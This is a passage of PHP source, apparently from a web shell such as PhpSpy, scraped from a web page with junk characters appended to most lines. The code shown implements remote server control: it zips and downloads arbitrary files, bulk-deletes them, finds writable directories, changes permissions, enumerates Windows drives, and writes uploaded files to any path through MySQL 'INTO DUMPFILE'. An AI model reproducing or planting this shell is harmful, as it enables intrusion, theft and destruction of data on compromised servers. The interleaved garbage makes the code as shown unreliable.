    $ d( ]4 z- u1 M+ c- K" A; u0 z
  333.                 if ($dl) {9 j. ^- ^$ m/ s0 ~
  334.                         $dfiles='';
      S0 D& f) k0 h' |
  335.                         foreach ($dl as $filepath => $value) {, n. Z0 F5 F" c1 f/ J3 j
  336.                                 $dfiles.=$filepath.',';
      x0 ]/ K& B+ j6 Y# M& o, i) ^
  337.                         }
    ; `9 n  v1 s7 v5 l5 o
  338.                         $dfiles=substr($dfiles,0,strlen($dfiles)-1);
    , i& h! r2 Z- C. g- p& V2 O  W6 p
  339.                         $dl=explode(',',$dfiles);
    3 f0 k# [; M- Z! D
  340.                         $zip=new PHPZip($dl);/ r( @/ I" A; u' M7 c/ \! b$ A3 l
  341.                         $code=$zip->out;
    ( {2 v3 |9 w& Y
  342.                         header('Content-type: application/octet-stream');3 @: ?) \" T  ?+ q& b
  343.                         header('Accept-Ranges: bytes');/ `5 S" m  |. d
  344.                         header('Accept-Length: '.strlen($code));
    0 T, r4 D) _  g
  345.                         header('Content-Disposition: attachment;filename='.$_SERVER['HTTP_HOST'].'_Files.tar.gz');. c2 h( k) G" z% s
  346.                         echo $code;) d: o8 p: o# }& g8 J% k# U3 U; C" a, L
  347.                         exit;; Y$ w3 r' D! M
  348.                 } else {  Z; O8 f9 q# `- y3 U
  349.                         m('Please select file(s)');2 ^+ q/ Z; z& c6 l, h. F
  350.                 }5 V, x. Y/ N) U  y3 F, h) F
  351.         }
    ( @* Z- E/ D' l. g

  352. 3 j" V3 T5 s0 d  j! u" l' k; X
  353.         // 批量删除文件
    " c  Q% t9 i  y1 N; Z0 V
  354.         elseif($doing == 'delfiles') {/ ]4 I; C. B) Z2 }/ Y+ B5 G
  355.                 if ($dl) {$ Z7 @. r9 U$ u* g
  356.                         $dfiles='';$ {' G9 M4 h% p1 P/ l0 m4 \% }
  357.                         $succ = $fail = 0;
    5 c3 F4 g) q$ R& D: g4 Y" B
  358.                         foreach ($dl as $filepath => $value) {
    % n3 n" z9 i9 L& E% a. o
  359.                                 if (@unlink($filepath)) {0 ]" E- ?0 x2 \2 |3 p$ j" a* I8 X
  360.                                         $succ++;
    7 `( g/ c7 {; B7 ]; @: C: X! v) U
  361.                                 } else {
    " |9 H4 R/ K+ o9 L% ~& n
  362.                                         $fail++;; g# a8 n) O( W& b6 t7 n. d. P2 u
  363.                                 }0 n# T4 M* d6 n) K3 r1 k3 r' {0 m% C
  364.                         }, X+ d3 L8 H8 e+ N5 [& Q7 L" e
  365.                         m('Deleted file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);, z+ R: ]3 d8 y# N( K8 `* o+ M
  366.                 } else {1 F) s  v0 f' h% |/ }2 f" D2 Z4 T: Q4 s
  367.                         m('Please select file(s)');
    1 {& d1 U" \. ~5 h% d; C
  368.                 }
    / I, {* A- H  ~
  369.         }* s9 H; b, A$ n# o6 _0 s3 ~
  370. ! G$ x0 B. _* m: I
  371.         //操作完毕
    1 |( A, K- g5 \
  372.         formhead(array('name'=>'createdir'));
    - ~0 t) Y3 d: F4 Q" j- V. j
  373.         makehide('newdirname');
    : Q4 `3 Z( ]. R& c9 z6 b
  374.         makehide('dir',$nowpath);7 n0 O* j" J; d
  375.         formfoot();( q. C8 u3 K  Z  W" F
  376.         formhead(array('name'=>'fileperm'));
    ! `( X7 i0 L& ?. K3 l  t& ]. ^
  377.         makehide('newperm');2 |3 \3 T/ ]- C( w; I) }
  378.         makehide('pfile');
    9 S/ r% Y; S* E5 J" Q
  379.         makehide('dir',$nowpath);
    0 V6 k7 ~% J) b" r% K( d2 v5 w
  380.         formfoot();% S# Q1 u9 @6 F4 L( p1 L: ^; N7 M9 K
  381.         formhead(array('name'=>'copyfile'));8 @5 ~# l) p  j/ k/ M" g6 R
  382.         makehide('sname');
    5 A2 E! S- ~6 f  b1 k
  383.         makehide('tofile');
    $ S9 |; l7 Q- k' [7 b2 R/ m, y
  384.         makehide('dir',$nowpath);! L2 x. C( B6 z* p
  385.         formfoot();
    - z- n% d: u# M6 N6 H& ?6 s
  386.         formhead(array('name'=>'rename'));
      Q' m- T/ P2 e- C5 B
  387.         makehide('oldname');% r3 C1 h7 W' G, z/ L. U  r' Q2 `0 w
  388.         makehide('newfilename');
    " k/ V* V" o! ~3 {3 W
  389.         makehide('dir',$nowpath);
    6 P  K- |- l' \( F9 ^
  390.         formfoot();6 G# ~  @( d3 W1 ]; q" H# J4 ]+ o0 K
  391.         formhead(array('name'=>'fileopform'));8 F$ b7 \$ k7 P" I0 e" V3 O
  392.         makehide('action');" [9 r. C/ J% d) |. o' s
  393.         makehide('opfile');
    1 z# I* `7 F4 q( y7 }3 b3 ^
  394.         makehide('dir');1 e/ i3 z+ a. X3 w3 s
  395.         formfoot();+ ?# e' S: d, b1 q

  396. 5 Y& `2 ?+ n9 x$ f1 }2 v
  397.         $free = @disk_free_space($nowpath);8 t' D6 O8 e8 A1 T# n
  398.         !$free && $free = 0;
    6 Y- r3 |2 m, i$ \% Q+ ?, I
  399.         $all = @disk_total_space($nowpath);  H7 {7 q! T9 T' T
  400.         !$all && $all = 0;
    ( j" _! D6 Q# A
  401.         $used = $all-$free;  ~/ d$ V/ d& \; I; P, s4 M4 C
  402.         $used_percent = @round(100/($all/$free),2);: M# Q9 l& O+ O5 e
  403.         p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.$used_percent.'%)</h2>');4 t: k5 N" B$ j9 m9 w8 l

  404. 7 \% v( u# r2 N% u+ [+ h: `
  405. ?>5 ^$ _4 E* [. Q  l
  406. <table width="100%" border="0" cellpadding="0" cellspacing="0" style="margin:10px 0;">
    / t* @5 b' K6 H0 q9 o# Q% ?3 C
  407.   <form action="" method="post" id="godir" name="godir">
    & {: |# f1 s9 {& ]: M6 R; I' K; Q
  408.   <tr>
    + l; Q1 F) y# S9 f1 {, _
  409.     <td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>
    $ r! F* i0 T5 m. t  j3 l# m
  410.         <td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:100%;margin:0 8px;"></td>0 M. G$ C5 A8 k. J/ u4 b5 y+ g
  411.     <td nowrap><input class="bt" value="GO" type="submit"></td>* D5 p( X2 H. b$ ]& n5 v
  412.   </tr>4 A, h0 U* V7 e6 a. y$ \
  413.   </form>. a( ]. Z% Z' c( W3 e
  414. </table>$ r% }# a) _! e; I$ e3 v+ t
  415. <script type="text/javascript">& c5 v9 @3 ~6 H" v, L. A- w% A
  416. function createdir(){
    # m7 c+ N* _$ K
  417.         var newdirname;
    4 ]8 T& |  e# e. {8 W
  418.         newdirname = prompt('Please input the directory name:', '');
    6 W7 M4 D; _; ?5 Q) l$ V% v
  419.         if (!newdirname) return;
    4 V! i' u5 _) ]4 m
  420.         $('createdir').newdirname.value=newdirname;; z6 V, Y. [) P, y- B, G' J1 M
  421.         $('createdir').submit();
    & v2 v( T: g# N
  422. }
      O+ X, y+ C0 P; ^3 z4 X
  423. function fileperm(pfile){
    8 ]" b: i4 V6 ~+ `$ M! s8 N
  424.         var newperm;
    & d/ S. `7 L. g: o& `; v- S9 D
  425.         newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');
    * }9 X7 J% n) I: N
  426.         if (!newperm) return;
    ( t3 ]4 R8 o; h! |+ n
  427.         $('fileperm').newperm.value=newperm;
      t6 e2 ]( J4 p% Q' g: E; N& y( r
  428.         $('fileperm').pfile.value=pfile;
    ! W) v( I! U6 S' L! d: u9 c6 n
  429.         $('fileperm').submit();
    8 E: P0 u" }" M. ?# {' J6 d: S. [
  430. }
    , ~7 P' W# O( C
  431. function copyfile(sname){# G" N' G  s+ k9 {- H" t
  432.         var tofile;
    7 b1 [7 _) R# z& V# K2 d: e# }
  433.         tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');: u5 z2 N$ A& a( L' ?: T
  434.         if (!tofile) return;& G% a; f/ }, c1 Z" a. j8 I& r
  435.         $('copyfile').tofile.value=tofile;7 g9 n! t6 {2 Y) {
  436.         $('copyfile').sname.value=sname;
      u* L. Y$ |# n& Z. K$ G& {
  437.         $('copyfile').submit();! W+ {, L' W9 O- D& T% _. |
  438. }7 v) g5 q4 u$ n. v0 u
  439. function rename(oldname){/ f! ?4 w2 y# w3 `
  440.         var newfilename;
    8 Z% q9 z# g% Q  v
  441.         newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');/ C* q4 j4 U) ^$ b1 J+ D
  442.         if (!newfilename) return;
    3 q! B* U" }4 }
  443.         $('rename').newfilename.value=newfilename;6 R$ k  B, k0 t# [2 L
  444.         $('rename').oldname.value=oldname;) f8 w8 t+ F( k; O
  445.         $('rename').submit();% V( \/ ?) [* f: y) e
  446. }
    # t' t4 ]7 L/ q9 R
  447. function dofile(doing,thefile,m){
    / {) f6 w. ]( T/ \6 G& n' T
  448.         if (m && !confirm(m)) {$ y' B  D* f2 O; i$ g5 p, h% V
  449.                 return;$ [) X2 W) I! P
  450.         }( H7 I% B, t" {7 B' j
  451.         $('filelist').doing.value=doing;9 o! `" p! w5 {  U2 X, F5 o9 ~
  452.         if (thefile){
    " {4 ]# T8 \7 J2 ~
  453.                 $('filelist').thefile.value=thefile;
    + L) V; [8 U" u0 ~
  454.         }
    & l5 n, t$ i& Q" o
  455.         $('filelist').submit();
    - ~9 |* k& c8 H( H6 a. Q. M
  456. }6 T/ ?( q/ m# `) C3 x/ \; G" r
  457. function createfile(nowpath){6 d9 q* H; n5 B
  458.         var filename;3 h4 M8 Z) s1 y2 s- c9 l
  459.         filename = prompt('Please input the file name:', '');
    $ b: f$ Q$ j* G1 u- `
  460.         if (!filename) return;3 |2 R3 q% M8 u6 p( r% [0 K- N. }
  461.         opfile('editfile',nowpath + filename,nowpath);; c0 Q, w0 ]( |! p/ F4 s
  462. }6 B1 _" B% U2 Q& P+ ~1 N
  463. function opfile(action,opfile,dir){
    , H( {! O! T% w( S6 ]( e. T
  464.         $('fileopform').action.value=action;
    $ p# W4 C0 L5 o8 R
  465.         $('fileopform').opfile.value=opfile;
    $ k5 q3 Z, T1 [% v) `' ~6 Z0 Q& `
  466.         $('fileopform').dir.value=dir;
    1 _& I4 h# P' J0 A7 f/ h! L
  467.         $('fileopform').submit();: r4 c: N* e9 \0 e
  468. }+ b+ t  W" f- |& q! j) w
  469. function godir(dir,view_writable){
    . j. T, [4 w, ^: _0 w1 l
  470.         if (view_writable) {7 |$ t% L) J' X4 p4 V
  471.                 $('godir').view_writable.value=1;
    ; d5 r/ z+ V2 J
  472.         }7 J4 Z( j5 A' Z
  473.         $('godir').dir.value=dir;
    " f; n% B4 K( c  }# d
  474.         $('godir').submit();+ l0 {; Y; |3 Z) c% g5 q/ H
  475. }
    7 @- M! h8 k, f* F. L/ N
  476. </script>
    4 E, R6 s: o  U' U+ p
  477.   <?php/ N2 r0 P% @" C# w
  478.         tbhead();
    $ @/ w) [; j& c# a0 T# A- l8 b& i
  479.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><tr class="alt1"><td colspan="7" style="padding:5px;">');
    / v/ _' l  Z" C
  480.         p('<div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$dir.'" type="hidden" /><input name="dir" value="'.$dir.'" type="hidden" /></div>');3 W1 `. e8 N: O4 z0 }
  481.         p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');
    ( z3 O- r' |/ d
  482.         if ($view_writable) {
    4 w  B( t3 \4 Z; W% a* i
  483.                 p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');
    6 k, G& w3 R, L; s3 D
  484.         } else {
    , c+ C) q* B6 R7 L! \2 r" u; i
  485.                 p(' | <a href="javascript:godir(\''.$nowpath.'\',\'1\');">View Writable</a>');
    ' i# e4 Y! q  H. U* D) L
  486.         }, _! h! D6 J% a7 G# L6 T
  487.         p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');6 _. W7 e) `! ~+ K- Z0 y% P7 R
  488.         if (IS_WIN && IS_COM) {% V* a% e# D0 j, F& Q  O8 G
  489.                 $obj = new COM('scripting.filesystemobject');
    : i% r7 g) @* p1 i( W( p
  490.                 if ($obj && is_object($obj)) {
    6 C! c) i# T* V% U+ y6 K! V
  491.                         $DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');
    8 Y* W: n2 X, J( u* g% }+ N
  492.                         foreach($obj->Drives as $drive) {
    # e+ x" K! K; W7 M: S
  493.                                 if ($drive->DriveType == 2) {: y/ S$ U/ v$ n, J" I
  494.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Size:'.sizecount($drive->TotalSize).') g, `* z3 C! e7 X3 |2 b
  495. Free:'.sizecount($drive->FreeSpace).'
    3 y3 v) n! I3 V
  496. Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');
      G0 j2 j: I3 }. l( y' M
  497.                                 } else {
    % B, C0 [; G2 u; V1 G2 C. S7 t0 Y
  498.                                         p(' | <a href="javascript:godir(\''.$drive->Path.'/\');" title="Type:'.$DriveTypeDB[$drive->DriveType].'">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');; q3 ?6 D: n, a7 Z
  499.                                 }# z. t' r1 u# N& m: [" ^; u
  500.                         }
    ' }1 I7 h  G8 Q+ ]3 S
  501.                 }* {+ I4 v, P% k  W6 j
  502.         }  Z0 y) p( A, ?& z) m6 u9 ~+ Q  c
  503. * ?1 r$ }# s/ e" l3 D
  504.         p('</td></tr></form>');3 H1 C/ b( N: }0 f$ v

  505. , N% `; K) ^! c  Y! o4 m
  506.         p('<tr class="head"><td> </td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
    7 ^9 Q1 c$ b) |' ]- k& b) @

  507. / @2 ^  ^4 {, N7 S
  508.         //查看所有可写文件和目录! X- j6 d+ m! @; l& P4 E) q
  509.         $dirdata=array();
    % N9 Y( R: l5 Q3 s5 r
  510.         $filedata=array();
    3 \2 O9 B1 k1 a
  511. + `8 Z& e, F" G
  512.         if ($view_writable) {
    - @) h! j+ `7 n5 y+ K
  513.                 $dirdata = GetList($nowpath);
    5 f! c0 k9 A% }) G  V8 l; X
  514.         } else {
    . n; r$ w5 V& }: j$ q: y8 z
  515.                 // 目录列表
    7 V7 u& j& ]3 i9 ]
  516.                 $dirs=@opendir($dir);8 e" C6 B5 Q/ |) _& s
  517.                 while ($file=@readdir($dirs)) {
    % X* C& G% ?* F
  518.                         $filepath=$nowpath.$file;/ T1 c5 }' A* A+ q2 y) L& S
  519.                         if(@is_dir($filepath)){
    8 I+ V+ w8 O9 O! Z0 D
  520.                                 $dirdb['filename']=$file;% K% |( D  n9 x8 D5 n+ R" `$ ~
  521.                                 $dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    - j% M, |- o* t: X: p% F* T
  522.                                 $dirdb['dirchmod']=getChmod($filepath);! _6 L4 T  Y; h. I$ a2 g7 {% S
  523.                                 $dirdb['dirperm']=getPerms($filepath);* g& b! \. C9 U# z" ]5 T& b, {
  524.                                 $dirdb['fileowner']=getUser($filepath);
    + c* m. b5 K% ^, p3 f+ ?
  525.                                 $dirdb['dirlink']=$nowpath;5 Q1 F6 v8 Z0 O; D2 j' j* q
  526.                                 $dirdb['server_link']=$filepath;" P- ?% [; g/ h9 {$ Z9 v# x
  527.                                 $dirdb['client_link']=ue($filepath);2 b) d' d  q. {: M' u! e
  528.                                 $dirdata[]=$dirdb;+ D% P6 \6 j5 {( `3 Q* y
  529.                         } else {                # f4 m* r  a" I/ F6 t' h4 u
  530.                                 $filedb['filename']=$file;
    $ z& h5 d$ B: c) X+ ]
  531.                                 $filedb['size']=sizecount(@filesize($filepath));
    , Z, i1 Y  |% g; H# d& m8 L) E* V
  532.                                 $filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));
    9 _4 {, m0 l: ~6 K7 e
  533.                                 $filedb['filechmod']=getChmod($filepath);
    5 I9 l6 d- _: ]! G) @* z' W
  534.                                 $filedb['fileperm']=getPerms($filepath);0 A; G" y' p8 I- R! z( I* \8 C; E
  535.                                 $filedb['fileowner']=getUser($filepath);
    6 w* M% w- w& F3 L( F
  536.                                 $filedb['dirlink']=$nowpath;
    5 l: \0 }. o3 P
  537.                                 $filedb['server_link']=$filepath;3 ^0 \" [5 e1 b5 }4 v
  538.                                 $filedb['client_link']=ue($filepath);1 b% T, k) J0 l% k; L9 C
  539.                                 $filedata[]=$filedb;
    0 `8 p- Y/ o, G% H6 [. B+ w
  540.                         }
    7 q3 U0 Z# F! _6 Z( C
  541.                 }// while9 q* }( g; X- B  N& n0 J6 c3 R- v
  542.                 unset($dirdb);
    9 Q, @. U  s1 x  G
  543.                 unset($filedb);
    / x# z# `$ z7 r3 p! c+ R- E' D
  544.                 @closedir($dirs);9 |. c" W/ Z' e. m3 F1 S! V  ~( o; w
  545.         }; @2 Y" J9 d" r* Q
  546.         @sort($dirdata);
    $ ~8 h  u' ?; M8 u& Y6 A
  547.         @sort($filedata);6 ?7 i6 S7 _( n4 \+ F% U
  548.         $dir_i = '0';
    # _. k: |/ x8 G  \! T: J3 ^' u, L
  549.         foreach($dirdata as $key => $dirdb){: G! E1 u+ }# c: @% Y0 b
  550.                 if($dirdb['filename']!='..' && $dirdb['filename']!='.') {
    4 _0 o3 P/ N8 U) F7 z" h9 o, W( v
  551.                         $thisbg = bg();
    3 ~0 D" N+ j4 M
  552.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');* c+ F$ A. P, P2 [- C
  553.                         p('<td width="2%" nowrap><font face="wingdings" size="3">0</font></td>');, M+ _0 |! g; V6 Q
  554.                         p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');
    9 X; R) H! i# x, H) H3 R
  555.                         p('<td nowrap>'.$dirdb['mtime'].'</td>');0 |& k8 G: I7 A9 \! f
  556.                         p('<td nowrap>--</td>');; ?0 ?+ w# E; s# d5 V, m1 a7 A9 }$ t
  557.                         p('<td nowrap>');2 l6 t3 q' ^- z* \+ L
  558.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');+ {  ?) q% v* z) U8 ~
  559.                         p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');0 h! x5 P$ I2 W. [* c# R$ t( C: c& h( Z
  560.                         p('<td nowrap><a href="javascript:dofile(\'deldir\',\''.$dirdb['server_link'].'\',\'Are you sure will delete '.$dirdb['filename'].'? \\n\\nIf non-empty directory, will be delete all the files.\')">Del</a> | <a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');& ?' h8 z# `$ ~
  561.                         p('</tr>');
    8 k* T  \0 V& X+ i& o& z2 P
  562.                         $dir_i++;2 e2 y& `5 n: m& ~) A0 _
  563.                 } else {  r! _" x$ K" P
  564.                         if($dirdb['filename']=='..') {
    . O" h7 u6 m. r
  565.                                 p('<tr class='.bg().'>');
    4 @$ z/ ~, z. P9 F0 ~4 g$ @' `8 E
  566.                                 p('<td align="center"><font face="Wingdings 3" size=4>=</font></td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');
    9 |/ _% H& ^& A; u* C( r
  567.                                 p('</tr>');, M5 Q  c  r3 Y5 v. S) U2 u; n/ W, l
  568.                         }
    - K% |' t1 X& m: Z1 E4 |* \7 _
  569.                 }* B6 l' y4 J% t+ i
  570.         }
    - J( b# |9 Y0 J4 {

  571. # v$ s1 A5 k. ~
  572.         p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');
    / I$ v3 p  ]) L* i% W; @
  573.         p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');
    . R! h  z% {% ?; b" j6 o" [2 G
  574.         makehide('action','file');
    % W( ~: g; b* g6 E$ q: u& z
  575.         makehide('thefile');# T* D+ D  I% s; r7 l4 F) f  m
  576.         makehide('doing');2 z5 V% z% ?2 X* _/ P
  577.         makehide('dir',$nowpath);+ ^2 M* g& x# k# G
  578.         $file_i = '0';
    : ]7 L1 v' j( }$ V1 w% u
  579.         foreach($filedata as $key => $filedb){
    - A$ ?: ]) ]+ W, Z6 u
  580.                 if($filedb['filename']!='..' && $filedb['filename']!='.') {
    ' r& V( i3 {- ?. {0 q$ \
  581.                         $fileurl = str_replace(SA_ROOT,'',$filedb['server_link']);0 d* o( v% L$ [* t
  582.                         $thisbg = bg();6 }* Y# u$ y' C; d" n3 h
  583.                         p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');/ ?7 A% n5 E, H( u# O
  584.                         p('<td width="2%" nowrap><input type="checkbox" value="1" name="dl['.$filedb['server_link'].']"></td>');+ |7 a: Y* G  ^# w
  585.                         p('<td><a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a></td>');
    # g4 g& y  F# D( ^
  586.                         p('<td nowrap>'.$filedb['mtime'].'</td>');, z/ V9 u( r  w' y* D, F+ |
  587.                         p('<td nowrap>'.$filedb['size'].'</td>');. Y# Z! S7 @' K( w) }
  588.                         p('<td nowrap>');
    0 ?% I' C- o3 D1 b! a
  589.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');
    ; `& b& J( w5 H$ X* _% `
  590.                         p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');5 |. C. R. c/ F. r0 I+ _1 Z5 X+ ~; ]
  591.                         p('<td nowrap>');
    4 Y6 [. ?+ B2 {! T
  592.                         p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');
    1 k1 o4 _2 V/ m" \" F# _2 Q
  593.                         p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');+ W) D2 X( g! b: f6 @
  594.                         p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');$ I$ N+ O- N& q7 ?
  595.                         p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a> | ');
    $ j3 w/ o4 [7 j0 q* N' \
  596.                         p('<a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Time</a>');
      I/ s. G9 G9 ?  j
  597.                         p('</td></tr>');. [5 ~7 u) D5 g+ \
  598.                         $file_i++;
    1 l7 V1 e- ~+ f. X
  599.                 }9 Z+ v$ e+ F# X$ g8 ?
  600.         }
    ; ~+ N# o, k8 J$ z
  601.         p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td><a href="javascript:dofile(\'downrar\');">Packing download selected</a> - <a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td colspan="4" align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');! V* U) |1 i. n( _5 @- L' d( C
  602.         p('</form></table>');
    9 o* \* F& v- b
  603. }// end dir
    0 {; o8 C1 `0 W
  604. 7 S5 l: X1 J9 a5 I
  605. elseif ($action == 'sqlfile') {
    8 F+ @" V% L; B7 H) F; v
  606.         if($doing=="mysqlupload"){4 \1 |, m+ L- X2 }+ n- _- F
  607.                 $file = $_FILES['uploadfile'];4 m8 J8 u4 {; X2 l
  608.                 $filename = $file['tmp_name'];
    3 @4 T3 c+ q8 G  u- w: @
  609.                 if (file_exists($savepath)) {8 [. V' m( }9 U3 Q% h
  610.                         m('The goal file has already existed');
    3 r% n. C6 u+ v& v
  611.                 } else {
    $ N! }, Q+ B" D# @" o
  612.                         if(!$filename) {  I. \2 d& b4 K9 o; B+ G+ z6 J/ k  t
  613.                                 m('Please choose a file');
      l- I) M- r) d) c! ^9 R6 r
  614.                         } else {
    ! T. |  |  t. W. g: A
  615.                                 $fp=@fopen($filename,'r');
      Q( A; u2 Q, z' A. Y+ a. {
  616.                                 $contents=@fread($fp, filesize($filename));
    . G5 G% `9 B( N' h0 i1 x
  617.                                 @fclose($fp);
    5 E( C( h6 {( `5 s) W. A/ ^, X
  618.                                 $contents = bin2hex($contents);+ r" Y; U; c+ ^2 o) [, o
  619.                                 if(!$upname) $upname = $file['name'];
    ! I5 V5 P# ]5 _  n9 H3 A  j8 d
  620.                                 dbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);2 H3 x8 p' s1 j& n
  621.                                 $result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");- C3 O/ u- ^  J9 }+ r- }$ Q) v
  622.                                 m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());, d" ~$ i  }* y( q: S3 Z
  623.                         }) C7 `* u; y* N7 [% j4 y: q
  624.                 }4 K1 L+ N4 A, p9 K3 v
  625.         }3 ]. [8 M3 G  F- n2 h+ \$ z) E
  626. ?>: d+ c) E" f# d
  627. <script type="text/javascript">
    ) z' d8 x; ]& d' E% j$ C
  628. function mysqlfile(doing){7 ~& W- d4 x! [
  629.         if(!doing) return;
    $ ^) G3 o) a4 {5 T8 }* l, a& }
  630.         $('doing').value=doing;! V/ G* h) G  R4 K. d5 ^# Y
  631.         $('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;
    0 U; V' g  Y6 ]6 [. i
  632.         $('mysqlfile').dbport.value=$('dbinfo').dbport.value;
    ' I+ K$ y5 l1 r
  633.         $('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;! W8 D; }% Z+ F. q7 B
  634.         $('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;4 J) x  e8 B! B+ ^) D+ ^
  635.         $('mysqlfile').dbname.value=$('dbinfo').dbname.value;- h* {7 S- Z- J) M' @
  636.         $('mysqlfile').charset.value=$('dbinfo').charset.value;
    $ P! }6 r0 W  X
  637.         $('mysqlfile').submit();
    4 F" ~; f) b( j% `4 K$ ?
  638. }
    - X5 K6 \: D% u. m% \. j, c# ]+ Z  t
  639. </script>
    2 O5 s. s; t% o) }) ?7 a: n
  640. <?php3 b- e3 l" x8 p3 {
  641.         !$dbhost && $dbhost = 'localhost';/ a0 D+ x% {) o' W
  642.         !$dbuser && $dbuser = 'root';* U( B  f5 R4 F$ s
  643.         !$dbport && $dbport = '3306';
    0 v0 k4 E& h0 U
  644.         $charsets = array(''=>'Default','gbk'=>'GBK', 'big5'=>'Big5', 'utf8'=>'UTF-8', 'latin1'=>'Latin1');
    " B- i( i# y# t1 y3 t* Q
  645.         formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));
    1 S2 p6 z' A0 X2 P$ t# r
  646.         makehide('action','sqlfile');3 V) p5 d0 ?% {- r* r5 h0 Z
  647.         p('<p>');+ v$ n7 ^2 l7 u, c* \% X) q3 T( I5 {* N
  648.         p('DBHost:');
    ; x+ ~  T/ y7 q7 u/ u4 [( ^
  649.         makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
    4 y, V, X8 ]& j, ]9 x" h# Q# b" L
  650.         p(':');
    : `4 S: O5 I2 {/ b0 E. |
  651.         makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));/ u% G" Z$ ~0 X6 d
  652.         p('DBUser:');8 j- d' ], w/ g- @+ \. S
  653.         makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
    - k5 E, `, ]6 A) L8 f
  654.         p('DBPass:');
    1 B, o2 z' b$ j
  655.         makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
    8 e- ~6 M7 e; R7 M
  656.         p('DBName:');4 U7 s! V9 z" O6 }$ ~1 ?
  657.         makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));7 b& j. }9 M, f9 W+ x2 F
  658.         p('DBCharset:');
    ' p5 y' g( X7 s, k
  659.         makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));4 ?' O! ~* a" Y: c+ H/ b; Q6 P
  660.         p('</p>');# ?7 Q' B. j1 T  d
  661.         formfoot();% G" \( _( S8 z/ e0 ?8 `3 s$ y  O
  662.         p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');
    ' b9 m  N) L0 Y8 k; T: u
  663.         p('<h2>Upload file</h2>');
    , o# B: I( Q1 Z, U& _$ D) \: F$ H
  664.         p('<p><b>This operation the DB user must has FILE privilege</b></p>');
    . a! o9 T6 x6 g' X" C3 W& t
  665.         p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');
    6 h' m+ b' i% L
  666.         p('<h2>Download file</h2>');2 ]/ {7 t% q+ K4 H9 _4 S" {# Z
  667.         p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');  p( y- t: E9 y# ~) u1 G& W/ b
  668.         makehide('dbhost');" m4 W1 j" c2 ^8 w
  669.         makehide('dbport');
    : D" e/ F! l/ {% ]. f: B
  670.         makehide('dbuser');
    $ m* o1 }, U6 y6 @( d9 u) L
